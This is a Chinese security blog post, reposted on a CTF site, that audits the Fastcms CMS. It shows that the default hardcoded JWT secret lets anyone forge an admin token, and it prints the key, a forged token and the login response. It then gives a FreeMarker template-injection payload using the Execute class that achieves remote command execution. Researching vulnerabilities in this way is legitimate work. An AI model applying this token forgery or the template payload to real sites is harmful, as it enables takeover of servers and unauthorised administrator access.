刷爆码云系列:Fastcms 代码审计(第二篇)

渗透技巧 7个月前 admin
213 0 0

经常会遇到jwt secret硬编码导致的权限绕过,本项目可以通过jwt权限绕过+模版注入rce

jwt伪造

fastcms-v0.1.5-release/web/src/main/resources/application.yml

使用默认的jwt密钥

刷爆码云系列:Fastcms 代码审计(第二篇)

SecretKey012345678901234567890123456789012345678901234567890123456789

com/fastcms/web/security/AuthConfigs.java

刷爆码云系列:Fastcms 代码审计(第二篇)

可以看到从配置文件获取jwt secretKey

com.fastcms.web.security#createToken()

刷爆码云系列:Fastcms 代码审计(第二篇)

刷爆码云系列:Fastcms 代码审计(第二篇)

可以看到jwt生成

刷爆码云系列:Fastcms 代码审计(第二篇)

然后子啊jwt.io填入以下信息,得到token

刷爆码云系列:Fastcms 代码审计(第二篇)

exp改为过期时间,修改为9999999999过期 来到登入点,随便输入后登陆,截取登陆的返回包

刷爆码云系列:Fastcms 代码审计(第二篇)

刷爆码云系列:Fastcms 代码审计(第二篇)

贴上以上放回包,即可伪造admin登陆


{"code":200,"message":null,"data":{"token":"eyJhbGciOiJIUzI1NiJ9.eyJhdXRoIjoiMSIsInVzZXJJZCI6MSwidXNlcm5hbWUiOiJhZG1pbiIsImV4cCI6OTk5OTk5OTk5OX0.Sa-kHpiuCAvqanZAcZK_zRGdwnAJaiasB9S-hP5ge38","tokenTtl":18000,"superAdmin":true,"username":"admin","nickname":"admin","headImg":null,"hasRole":true,"version":"Fastcms:v0.1.6-SNAPSHOT","userType":1}}

刷爆码云系列:Fastcms 代码审计(第二篇)

使用伪造的jwt登陆admin用户成功

模版注入

全局查询

刷爆码云系列:Fastcms 代码审计(第二篇)

com.fastcms.core.utils#render

刷爆码云系列:Fastcms 代码审计(第二篇)

com.fastcms.core.template#processTemplate

刷爆码云系列:Fastcms 代码审计(第二篇)

可以看在模版渲染的时候都没有做处理,所以导致模版注入。所以只要修改一下模版就能rce

刷爆码云系列:Fastcms 代码审计(第二篇)

修改后保存,访问主⻚即可rce

刷爆码云系列:Fastcms 代码审计(第二篇)

POC

<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("open -aCalculator.app") }


枇杷下单、CTF办赛、珂兰寺培训、众测、考证、认证培训全套服务 + b站:我身后风呼啸 ;想被割韭菜知识星球:黑伞安全

刷爆码云系列:Fastcms 代码审计(第二篇)

原文始发于微信公众号(黑伞安全):刷爆码云系列:Fastcms 代码审计(第二篇)

版权声明:admin 发表于 2023年10月18日 下午6:04。
转载请注明:刷爆码云系列:Fastcms 代码审计(第二篇) | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...